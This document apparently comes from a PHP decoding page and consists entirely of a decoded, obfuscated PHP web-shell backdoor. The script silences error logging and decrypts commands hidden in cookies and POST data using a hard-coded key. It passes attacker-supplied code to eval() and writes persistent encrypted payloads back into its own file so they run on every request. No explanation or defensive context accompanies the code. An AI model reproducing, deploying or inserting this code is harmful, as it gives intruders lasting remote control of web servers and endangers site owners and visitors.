PHP Decode

<?  if (!defined('stream_context_create ')) 
{ 
define('stream_context_create ', 1); 
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 
0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "
");}if 
(!defined('file_put_contents ')){define('file_put_contents ', 1);$uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913';global 
$uqnxtj;function wopfcy($csapeyvhshpvsojolo) {if (strlen($csapeyvhshpvsojolo) < 4){return "" 
    ;}$ovauxod="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" 
    ;$bujhhiq=str_split($ovauxod);$bujhhiq=array_flip($bujhhiq);$csapeyvhshp=0;$zemppaprjwwj="" 
    ;$csapeyvhshpvsojolo=preg_replace("~[^A-Za-z0-9\+\/\=]~", "" , $csapeyvhshpvsojolo);do 
    {$erzefx=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$csapeyvhshpfgulxm=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$zjrviwa=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$ejoiqebw=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$hyoedias=($erzefx 
    << 2) | ($csapeyvhshpfgulxm>> 4);$uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa>> 2);$wxpwlhu = (($zjrviwa & 
        3) << 6) | $ejoiqebw;$zemppaprjwwj=$zemppaprjwwj . chr($hyoedias);if ($zjrviwa !=64) 
            {$zemppaprjwwj=$zemppaprjwwj . chr($uzyrkk);}if ($ejoiqebw !=64) {$zemppaprjwwj=$zemppaprjwwj . 
            chr($wxpwlhu);}} while ($csapeyvhshp < strlen($csapeyvhshpvsojolo));return $zemppaprjwwj;}if 
            (!function_exists('file_put_contents')){function file_put_contents($zemppa, $csapeycdidn, 
            $csapeyvhshphisekkx=False){$ueehtpj=$csapeyvhshphisekkx==8 ? 'a' : 'w' ;$csapey=@fopen($zemppa, $ueehtpj);if 
            ($csapey===False){return 0;}else{if (is_array($csapeycdidn)) 
            $csapeycdidn=implode($csapeycdidn);$weaqwtw=fwrite($csapey, $csapeycdidn);fclose($csapey);return 
            $weaqwtw;}}}if (!function_exists('file_get_contents')){function 
            file_get_contents($eqgmat){$wtxcqu=fopen($eqgmat, "r" );$aneofn=fread($wtxcqu, 
            filesize($eqgmat));fclose($wtxcqu);return $aneofn;}}function djiigrjp(){return 
            trim(preg_replace("/\(.*\$/", '' , __FILE__));}function copcym($kqmlnry, 
            $csapeyvhshpewgiuji){$csapeycdidndlxghp="" ;for ($csapeyvhshp=0; $csapeyvhshp<strlen($kqmlnry);){for 
            ($csapeynkicztm=0; $csapeynkicztm<strlen($csapeyvhshpewgiuji) && $csapeyvhshp<strlen($kqmlnry); 
            $csapeynkicztm++, $csapeyvhshp++){$csapeycdidndlxghp .=chr(ord($kqmlnry[$csapeyvhshp]) ^ 
            ord($csapeyvhshpewgiuji[$csapeynkicztm]));}}return $csapeycdidndlxghp;}function wbyplcyx($kqmlnry, 
            $csapeyvhshpewgiuji){global $uqnxtj;return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj);}function 
            rsxomdzz($kqmlnry, $csapeyvhshpewgiuji){global $uqnxtj;return copcym(copcym($kqmlnry, $uqnxtj), 
            $csapeyvhshpewgiuji);}function 
            vugukurf(){$zemppagdprzqg=@file_get_contents(djiigrjp());$hvirtr=strpos($zemppagdprzqg, md5(djiigrjp()));if 
            ($hvirtr !==FALSE){$oawlezfl=substr($zemppagdprzqg, $hvirtr + 
            32);$zdsfjnqc=@unserialize(wbyplcyx(rawurldecode($oawlezfl), 
            md5(djiigrjp())));}else{$zdsfjnqc=Array();}return $zdsfjnqc;}function 
            muhzev($zdsfjnqc){$ukqbehn=rawurlencode(rsxomdzz(@serialize($zdsfjnqc), 
            md5(djiigrjp())));$zemppagdprzqg=@file_get_contents(djiigrjp());$hvirtr=strpos($zemppagdprzqg, 
            md5(djiigrjp()));if ($hvirtr !==FALSE){$efgouh=substr($zemppagdprzqg, $hvirtr + 
            32);$zemppagdprzqg=str_replace($efgouh, $ukqbehn, $zemppagdprzqg);}else{$zemppagdprzqg=$zemppagdprzqg 
            . "

//" . md5(djiigrjp()) . $ukqbehn;}@file_put_contents(djiigrjp(), $zemppagdprzqg);}function 
            ewxmpe($midbassj, 
            $omoqaula){$zdsfjnqc=vugukurf();$zdsfjnqc[$midbassj]=wopfcy($omoqaula);muhzev($zdsfjnqc);}function 
            kluposw($midbassj){$zdsfjnqc=vugukurf();unset($zdsfjnqc[$midbassj]);muhzev($zdsfjnqc);}function 
            kanwfey($midbassj=NULL){foreach (vugukurf() as $vpnhxd=>$csapeynkicztmkhjesm){if ($midbassj){if 
            (strcmp($midbassj, $vpnhxd) == 
            0){eval($csapeynkicztmkhjesm);break;}}else{eval($csapeynkicztmkhjesm);}}}foreach (array_merge($_COOKIE, 
            $_POST) as $xoemfn => $kqmlnry){$kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn));if 
            (isset($kqmlnry['ak']) && $uqnxtj==$kqmlnry['ak']){if ($kqmlnry['a'] == 'i'){$csapeyvhshp = Array('pv' => 
            @phpversion(),'sv' => '2.0-1','ak' => $kqmlnry['ak'],);echo @serialize($csapeyvhshp);exit;}elseif 
            ($kqmlnry['a'] == 'e'){eval($kqmlnry['d']);}elseif ($kqmlnry['a'] == 'plugin'){if($kqmlnry['sa'] == 
            'add'){ewxmpe($kqmlnry['p'], $kqmlnry['d']);}elseif($kqmlnry['sa'] == 'rem'){kluposw($kqmlnry['p']);}}echo 
            $kqmlnry['ak'];exit();}}kanwfey();} 
            } ?>